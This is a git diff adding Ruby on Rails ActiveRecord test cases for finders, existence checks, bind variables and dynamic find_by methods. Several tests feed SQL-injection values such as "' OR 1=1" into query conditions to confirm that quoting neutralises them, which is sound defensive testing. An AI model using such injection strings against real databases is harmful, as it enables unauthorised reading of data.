+ rescue ActiveRecord::StatementInvalid
+ # PostgreSQL complains about string comparison with integer field
+ rescue Exception
+ flunk
+ end
+
+ assert_raise(NoMethodError) { Topic.exists?([1,2]) }
+ end
+
+ def test_exists_does_not_select_columns_without_alias
+ assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
+ Topic.exists?
+ end
+ end
+
+ def test_exists_returns_true_with_one_record_and_no_args
+ assert Topic.exists?
+ end
+
+ def test_exists_returns_false_with_false_arg
+ assert !Topic.exists?(false)
+ end
+
+ # exists? should handle nil for id's that come from URLs and always return false
+ # (example: Topic.exists?(params[:id])) where params[:id] is nil
+ def test_exists_with_nil_arg
+ assert !Topic.exists?(nil)
+ assert Topic.exists?
+ assert !Topic.first.replies.exists?(nil)
+ assert Topic.first.replies.exists?
+ end
+
+ # ensures +exists?+ runs valid SQL by excluding order value
+ def test_exists_with_order
+ assert Topic.order(:id).distinct.exists?
+ end
+
+ def test_exists_with_includes_limit_and_empty_result
+ assert !Topic.includes(:replies).limit(0).exists?
+ assert !Topic.includes(:replies).limit(1).where('0 = 1').exists?
+ end
+
+ def test_exists_with_empty_table_and_no_args_given
+ Topic.delete_all
+ assert !Topic.exists?
+ end
+
+ def test_exists_with_aggregate_having_three_mappings
+ existing_address = customers(:david).address
+ assert Customer.exists?(:address => existing_address)
+ end
+
+ def test_exists_with_aggregate_having_three_mappings_with_one_difference
+ existing_address = customers(:david).address
+ assert !Customer.exists?(:address =>
+ Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
+ assert !Customer.exists?(:address =>
+ Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
+ assert !Customer.exists?(:address =>
+ Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
+ end
+
+ def test_exists_does_not_instantiate_records
+ Developer.expects(:instantiate).never
+ Developer.exists?
+ end
+
+ def test_find_by_array_of_one_id
+ assert_kind_of(Array, Topic.find([ 1 ]))
+ assert_equal(1, Topic.find([ 1 ]).length)
+ end
+
+ def test_find_by_ids
+ assert_equal 2, Topic.find(1, 2).size
+ assert_equal topics(:second).title, Topic.find([2]).first.title
+ end
+
+ def test_find_by_ids_with_limit_and_offset
+ assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
+ assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
+
+ # Also test an edge case: If you have 11 results, and you set a
+ # limit of 3 and offset of 9, then you should find that there
+ # will be only 2 results, regardless of the limit.
+ devs = Developer.all
+ last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
+ assert_equal 2, last_devs.size
+ end
+
+ def test_find_an_empty_array
+ assert_equal [], Topic.find([])
+ end
+
+ def test_find_doesnt_have_implicit_ordering
+ assert_sql(/^((?!ORDER).)*$/) { Topic.find(1) }
+ end
+
+ def test_find_by_ids_missing_one
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
+ end
+
+ def test_find_with_group_and_sanitized_having_method
+ developers = Developer.group(:salary).having("sum(salary) > ?", 10000).select('salary').to_a
+ assert_equal 3, developers.size
+ assert_equal 3, developers.map(&:salary).uniq.size
+ assert developers.all? { |developer| developer.salary > 10000 }
+ end
+
+ def test_find_with_entire_select_statement
+ topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
+
+ assert_equal(1, topics.size)
+ assert_equal(topics(:second).title, topics.first.title)
+ end
+
+ def test_find_with_prepared_select_statement
+ topics = Topic.find_by_sql ["SELECT * FROM topics WHERE author_name = ?", "Mary"]
+
+ assert_equal(1, topics.size)
+ assert_equal(topics(:second).title, topics.first.title)
+ end
+
+ def test_find_by_sql_with_sti_on_joined_table
+ accounts = Account.find_by_sql("SELECT * FROM accounts INNER JOIN companies ON companies.id = accounts.firm_id")
+ assert_equal [Account], accounts.collect(&:class).uniq
+ end
+
+ def test_take
+ assert_equal topics(:first), Topic.take
+ end
+
+ def test_take_failing
+ assert_nil Topic.where("title = 'This title does not exist'").take
+ end
+
+ def test_take_bang_present
+ assert_nothing_raised do
+ assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").take!
+ end
+ end
+
+ def test_take_bang_missing
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.where("title = 'This title does not exist'").take!
+ end
+ end
+
+ def test_first
+ assert_equal topics(:second).title, Topic.where("title = 'The Second Topic of the day'").first.title
+ end
+
+ def test_first_failing
+ assert_nil Topic.where("title = 'The Second Topic of the day!'").first
+ end
+
+ def test_first_bang_present
+ assert_nothing_raised do
+ assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").first!
+ end
+ end
+
+ def test_first_bang_missing
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.where("title = 'This title does not exist'").first!
+ end
+ end
+
+ def test_first_have_primary_key_order_by_default
+ expected = topics(:first)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.first
+ end
+
+ def test_model_class_responds_to_first_bang
+ assert Topic.first!
+ Topic.delete_all
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.first!
+ end
+ end
+
+ def test_last_bang_present
+ assert_nothing_raised do
+ assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
+ end
+ end
+
+ def test_last_bang_missing
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.where("title = 'This title does not exist'").last!
+ end
+ end
+
+ def test_model_class_responds_to_last_bang
+ assert_equal topics(:fourth), Topic.last!
+ assert_raises ActiveRecord::RecordNotFound do
+ Topic.delete_all
+ Topic.last!
+ end
+ end
+
+ def test_take_and_first_and_last_with_integer_should_use_sql_limit
+ assert_sql(/LIMIT 3|ROWNUM <= 3/) { Topic.take(3).entries }
+ assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries }
+ assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries }
+ end
+
+ def test_last_with_integer_and_order_should_keep_the_order
+ assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2)
+ end
+
+ def test_last_with_integer_and_order_should_not_use_sql_limit
+ query = assert_sql { Topic.order("title").last(5).entries }
+ assert_equal 1, query.length
+ assert_no_match(/LIMIT/, query.first)
+ end
+
+ def test_last_with_integer_and_reorder_should_not_use_sql_limit
+ query = assert_sql { Topic.reorder("title").last(5).entries }
+ assert_equal 1, query.length
+ assert_no_match(/LIMIT/, query.first)
+ end
+
+ def test_take_and_first_and_last_with_integer_should_return_an_array
+ assert_kind_of Array, Topic.take(5)
+ assert_kind_of Array, Topic.first(5)
+ assert_kind_of Array, Topic.last(5)
+ end
+
+ def test_unexisting_record_exception_handling
+ assert_raise(ActiveRecord::RecordNotFound) {
+ Topic.find(1).parent
+ }
+
+ Topic.find(2).topic
+ end
+
+ def test_find_only_some_columns
+ topic = Topic.all.merge!(:select => "author_name").find(1)
+ assert_raise(ActiveModel::MissingAttributeError) {topic.title}
+ assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
+ assert_nil topic.read_attribute("title")
+ assert_equal "David", topic.author_name
+ assert !topic.attribute_present?("title")
+ assert !topic.attribute_present?(:title)
+ assert topic.attribute_present?("author_name")
+ assert_respond_to topic, "author_name"
+ end
+
+ def test_find_on_array_conditions
+ assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
+ end
+
+ def test_find_on_hash_conditions
+ assert Topic.all.merge!(:where => { :approved => false }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
+ end
+
+ def test_find_on_hash_conditions_with_explicit_table_name
+ assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
+ end
+
+ def test_find_on_hash_conditions_with_hashed_table_name
+ assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
+ end
+
+ def test_find_with_hash_conditions_on_joined_table
+ firms = Firm.joins(:account).where(:accounts => { :credit_limit => 50 })
+ assert_equal 1, firms.size
+ assert_equal companies(:first_firm), firms.first
+ end
+
+ def test_find_with_hash_conditions_on_joined_table_and_with_range
+ firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
+ assert_equal 1, firms.size
+ assert_equal companies(:rails_core), firms.first
+ end
+
+ def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
+ david = customers(:david)
+ assert Customer.where('customers.name' => david.name, :address => david.address).find(david.id)
+ assert_raise(ActiveRecord::RecordNotFound) {
+ Customer.where('customers.name' => david.name + "1", :address => david.address).find(david.id)
+ }
+ end
+
+ def test_find_on_association_proxy_conditions
+ assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], Comment.where(post_id: authors(:david).posts).map(&:id).sort
+ end
+
+ def test_find_on_hash_conditions_with_range
+ assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
+ end
+
+ def test_find_on_hash_conditions_with_end_exclusive_range
+ assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
+ assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
+ end
+
+ def test_find_on_hash_conditions_with_multiple_ranges
+ assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
+ assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+ end
+
+ def test_find_on_hash_conditions_with_array_of_integers_and_ranges
+ assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
+ end
+
+ def test_find_on_multiple_hash_conditions
+ assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+ end
+
+ def test_condition_interpolation
+ assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
+ assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
+ assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ end
+
+ def test_condition_array_interpolation
+ assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
+ assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
+ assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ end
+
+ def test_condition_hash_interpolation
+ assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
+ assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
+ assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
+ end
+
+ def test_hash_condition_find_malformed
+ assert_raise(ActiveRecord::StatementInvalid) {
+ Company.all.merge!(:where => { :id => 2, :dhh => true }).first
+ }
+ end
+
+ def test_hash_condition_find_with_escaped_characters
+ Company.create("name" => "Ain't noth'n like' \#stuff")
+ assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
+ end
+
+ def test_hash_condition_find_with_array
+ p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
+ assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
+ assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
+ end
+
+ def test_hash_condition_find_with_nil
+ topic = Topic.all.merge!(:where => { :last_read => nil } ).first
+ assert_not_nil topic
+ assert_nil topic.last_read
+ end
+
+ def test_hash_condition_find_with_aggregate_having_one_mapping
+ balance = customers(:david).balance
+ assert_kind_of Money, balance
+ found_customer = Customer.where(:balance => balance).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
+ gps_location = customers(:david).gps_location
+ assert_kind_of GpsLocation, gps_location
+ found_customer = Customer.where(:gps_location => gps_location).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_hash_condition_find_with_aggregate_having_one_mapping_and_key_value_being_attribute_value
+ balance = customers(:david).balance
+ assert_kind_of Money, balance
+ found_customer = Customer.where(:balance => balance.amount).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_attribute_value
+ gps_location = customers(:david).gps_location
+ assert_kind_of GpsLocation, gps_location
+ found_customer = Customer.where(:gps_location => gps_location.gps_location).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_hash_condition_find_with_aggregate_having_three_mappings
+ address = customers(:david).address
+ assert_kind_of Address, address
+ found_customer = Customer.where(:address => address).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
+ address = customers(:david).address
+ assert_kind_of Address, address
+ found_customer = Customer.where(:address => address, :name => customers(:david).name).first
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_condition_utc_time_interpolation_with_default_timezone_local
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :local do
+ topic = Topic.first
+ assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
+ end
+ end
+ end
+
+ def test_hash_condition_utc_time_interpolation_with_default_timezone_local
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :local do
+ topic = Topic.first
+ assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
+ end
+ end
+ end
+
+ def test_condition_local_time_interpolation_with_default_timezone_utc
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :utc do
+ topic = Topic.first
+ assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
+ end
+ end
+ end
+
+ def test_hash_condition_local_time_interpolation_with_default_timezone_utc
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :utc do
+ topic = Topic.first
+ assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
+ end
+ end
+ end
+
+ def test_bind_variables
+ assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
+ assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
+ assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
+ assert_raise(ActiveRecord::PreparedStatementInvalid) {
+ Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
+ }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) {
+ Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
+ }
+ end
+
+ def test_bind_variables_with_quotes
+ Company.create("name" => "37signals' go'es agains")
+ assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
+ end
+
+ def test_named_bind_variables_with_quotes
+ Company.create("name" => "37signals' go'es agains")
+ assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
+ end
+
+ def test_bind_arity
+ assert_nothing_raised { bind '' }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
+
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' }
+ assert_nothing_raised { bind '?', 1 }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1 }
+ end
+
+ def test_named_bind_variables
+ assert_equal '1', bind(':a', :a => 1) # ' ruby-mode
+ assert_equal '1 1', bind(':a :a', :a => 1) # ' ruby-mode
+
+ assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
+
+ assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
+ assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
+ assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
+ assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
+ end
+
+ class SimpleEnumerable
+ include Enumerable
+
+ def initialize(ary)
+ @ary = ary
+ end
+
+ def each(&b)
+ @ary.each(&b)
+ end
+ end
+
+ def test_bind_enumerable
+ quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')})
+
+ assert_equal '1,2,3', bind('?', [1, 2, 3])
+ assert_equal quoted_abc, bind('?', %w(a b c))
+
+ assert_equal '1,2,3', bind(':a', :a => [1, 2, 3])
+ assert_equal quoted_abc, bind(':a', :a => %w(a b c)) # '
+
+ assert_equal '1,2,3', bind('?', SimpleEnumerable.new([1, 2, 3]))
+ assert_equal quoted_abc, bind('?', SimpleEnumerable.new(%w(a b c)))
+
+ assert_equal '1,2,3', bind(':a', :a => SimpleEnumerable.new([1, 2, 3]))
+ assert_equal quoted_abc, bind(':a', :a => SimpleEnumerable.new(%w(a b c))) # '
+ end
+
+ def test_bind_empty_enumerable
+ quoted_nil = ActiveRecord::Base.connection.quote(nil)
+ assert_equal quoted_nil, bind('?', [])
+ assert_equal " in (#{quoted_nil})", bind(' in (?)', [])
+ assert_equal "foo in (#{quoted_nil})", bind('foo in (?)', [])
+ end
+
+ def test_bind_empty_string
+ quoted_empty = ActiveRecord::Base.connection.quote('')
+ assert_equal quoted_empty, bind('?', '')
+ end
+
+ def test_bind_chars
+ quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+ quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+ assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi")
+ assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper")
+ assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi".mb_chars)
+ assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper".mb_chars)
+ end
+
+ def test_bind_record
+ o = Struct.new(:quoted_id).new(1)
+ assert_equal '1', bind('?', o)
+
+ os = [o] * 3
+ assert_equal '1,1,1', bind('?', os)
+ end
+
+ def test_named_bind_with_postgresql_type_casts
+ l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
+ assert_nothing_raised(&l)
+ assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
+ end
+
+ def test_string_sanitation
+ assert_not_equal "'something ' 1=1'", ActiveRecord::Base.sanitize("something ' 1=1")
+ assert_equal "'something; select table'", ActiveRecord::Base.sanitize("something; select table")
+ end
+
+ def test_count_by_sql
+ assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
+ assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
+ assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
+ end
+
+ def test_find_by_one_attribute
+ assert_equal topics(:first), Topic.find_by_title("The First Topic")
+ assert_nil Topic.find_by_title("The First Topic!")
+ end
+
+ def test_find_by_one_attribute_bang
+ assert_equal topics(:first), Topic.find_by_title!("The First Topic")
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+ end
+
+ def test_find_by_one_attribute_that_is_an_alias
+ assert_equal topics(:first), Topic.find_by_heading("The First Topic")
+ assert_nil Topic.find_by_heading("The First Topic!")
+ end
+
+ def test_find_by_one_attribute_bang_with_blank_defined
+ blank_topic = BlankTopic.create(title: "The Blank One")
+ assert_equal blank_topic, BlankTopic.find_by_title!("The Blank One")
+ end
+
+ def test_find_by_one_attribute_with_conditions
+ assert_equal accounts(:rails_core_account), Account.where('firm_id = ?', 6).find_by_credit_limit(50)
+ end
+
+ def test_find_by_one_attribute_that_is_an_aggregate
+ address = customers(:david).address
+ assert_kind_of Address, address
+ found_customer = Customer.find_by_address(address)
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_find_by_one_attribute_that_is_an_aggregate_with_one_attribute_difference
+ address = customers(:david).address
+ assert_kind_of Address, address
+ missing_address = Address.new(address.street, address.city, address.country + "1")
+ assert_nil Customer.find_by_address(missing_address)
+ missing_address = Address.new(address.street, address.city + "1", address.country)
+ assert_nil Customer.find_by_address(missing_address)
+ missing_address = Address.new(address.street + "1", address.city, address.country)
+ assert_nil Customer.find_by_address(missing_address)
+ end
+
+ def test_find_by_two_attributes_that_are_both_aggregates
+ balance = customers(:david).balance
+ address = customers(:david).address
+ assert_kind_of Money, balance
+ assert_kind_of Address, address
+ found_customer = Customer.find_by_balance_and_address(balance, address)
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_find_by_two_attributes_with_one_being_an_aggregate
+ balance = customers(:david).balance
+ assert_kind_of Money, balance
+ found_customer = Customer.find_by_balance_and_name(balance, customers(:david).name)
+ assert_equal customers(:david), found_customer
+ end
+
+ def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
+ # ensure this test can run independently of order
+ class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.include?(:find_by_credit_limit)
+ a = Account.where('firm_id = ?', 6).find_by_credit_limit(50)
+ assert_equal a, Account.where('firm_id = ?', 6).find_by_credit_limit(50) # find_by_credit_limit has been cached
+ end
+
+ def test_find_by_one_attribute_with_several_options
+ assert_equal accounts(:unknown), Account.order('id DESC').where('id != ?', 3).find_by_credit_limit(50)
+ end
+
+ def test_find_by_one_missing_attribute
+ assert_raise(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
+ end
+
+ def test_find_by_invalid_method_syntax
+ assert_raise(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
+ assert_raise(NoMethodError) { Topic.find_by_title?("The First Topic") }
+ assert_raise(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
+ assert_raise(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
+ end
+
+ def test_find_by_two_attributes
+ assert_equal topics(:first), Topic.find_by_title_and_author_name("The First Topic", "David")
+ assert_nil Topic.find_by_title_and_author_name("The First Topic", "Mary")
+ end
+
+ def test_find_by_two_attributes_but_passing_only_one
+ assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
+ end
+
+ def test_find_by_nil_attribute
+ topic = Topic.find_by_last_read nil
+ assert_not_nil topic
+ assert_nil topic.last_read
+ end
+
+ def test_find_by_nil_and_not_nil_attributes
+ topic = Topic.find_by_last_read_and_author_name nil, "Mary"
+ assert_equal "Mary", topic.author_name
+ end
+
+ def test_find_with_bad_sql
+ assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
+ end
+
+ def test_find_all_with_join
+ developers_on_project_one = Developer.all.merge!(
+ :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
+ :where => 'project_id=1'
+ ).to_a
+ assert_equal 3, developers_on_project_one.length
+ developer_names = developers_on_project_one.map { |d| d.name }
+ assert developer_names.include?('David')
+ assert developer_names.include?('Jamis')
+ end
+
+ def test_joins_dont_clobber_id
+ first = Firm.all.merge!(
+ :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
+ :where => 'companies.id = 1'
+ ).first
+ assert_equal 1, first.id
+ end
+
+ def test_joins_with_string_array
+ person_with_reader_and_post = Post.all.merge!(
+ :joins => [
+ "INNER JOIN categorizations ON categorizations.post_id = posts.id",
+ "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+ ]
+ )
+ assert_equal 1, person_with_reader_and_post.size
+ end
+
+ def test_find_by_id_with_conditions_with_or
+ assert_nothing_raised do
+ Post.where("posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'").find([1,2,3])
+ end
+ end
+
+ # http://dev.rubyonrails.org/ticket/6778
+ def test_find_ignores_previously_inserted_record
+ Post.create!(:title => 'test', :body => 'it out')
+ assert_equal [], Post.where(id: nil)
+ end
+
+ def test_find_by_empty_ids
+ assert_equal [], Post.find([])
+ end
+
+ def test_find_by_empty_in_condition
+ assert_equal [], Post.where('id in (?)', [])
+ end
+
+ def test_find_by_records
+ p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
+ assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
+ assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+ end
+
+ def test_select_value
+ assert_equal "37signals", Company.connection.select_value("SELECT name FROM companies WHERE id = 1")
+ assert_nil Company.connection.select_value("SELECT name FROM companies WHERE id = -1")
+ # make sure we didn't break count...
+ assert_equal 0, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = 'Halliburton'")
+ assert_equal 1, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = '37signals'")
+ end
+
+ def test_select_values
+ assert_equal ["1","2","3","4","5","6","7","8","9", "10"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
+ assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+ end
+
+ def test_select_rows
+ assert_equal(
+ [["1", "1", nil, "37signals"],
+ ["2", "1", "2", "Summit"],
+ ["3", "1", "1", "Microsoft"]],
+ Company.connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}})
+ assert_equal [["1", "37signals"], ["2", "Summit"], ["3", "Microsoft"]],
+ Company.connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! {|i| i.map! {|j| j.to_s unless j.nil?}}
+ end
+
+ def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
+ assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
+
+ assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
+ :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
+ end
+
+ def test_find_with_nil_inside_set_passed_for_one_attribute
+ client_of = Company.all.merge!(
+ :where => {
+ :client_of => [2, 1, nil],
+ :name => ['37signals', 'Summit', 'Microsoft'] },
+ :order => 'client_of DESC'
+ ).map { |x| x.client_of }
+
+ assert client_of.include?(nil)
+ assert_equal [2, 1].sort, client_of.compact.sort
+ end
+
+ def test_find_with_nil_inside_set_passed_for_attribute
+ client_of = Company.all.merge!(
+ :where => { :client_of => [nil] },
+ :order => 'client_of DESC'
+ ).map { |x| x.client_of }
+
+ assert_equal [], client_of.compact
+ end
+
+ def test_with_limiting_with_custom_select
+ posts = Post.references(:authors).merge(
+ :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+ :limit => 3, :order => 'posts.id'
+ ).to_a
+ assert_equal 3, posts.size
+ assert_equal [0, 1, 1], posts.map(&:author_id).sort
+ end
+
+ def test_find_one_message_with_custom_primary_key
+ Toy.primary_key = :name
+ begin
+ Toy.find 'Hello World!'
+ rescue ActiveRecord::RecordNotFound => e
+ assert_equal 'Couldn\'t find Toy with name=Hello World!', e.message
+ end
+ ensure
+ Toy.reset_primary_key
+ end
+
+ def test_finder_with_offset_string
+ assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+ end
+
+ protected
+ def bind(statement, *vars)
+ if vars.first.is_a?(Hash)
+ ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first)
+ else
+ ActiveRecord::Base.send(:replace_bind_variables, statement, vars)
+ end
+ end
+
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+
+ def with_active_record_default_timezone(zone)
+ old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+ yield
+ ensure
+ ActiveRecord::Base.default_timezone = old_zone
+ end
+end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
new file mode 100644
index 0000000..a029fed
--- /dev/null
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -0,0 +1,83 @@
+require 'cases/helper'
+require 'tempfile'
+
+module ActiveRecord
+ class FixtureSet
+ class FileTest < ActiveRecord::TestCase
+ def test_open
+ fh = File.open(::File.join(FIXTURES_ROOT, "accounts.yml"))
+ assert_equal 6, fh.to_a.length
+ end
+
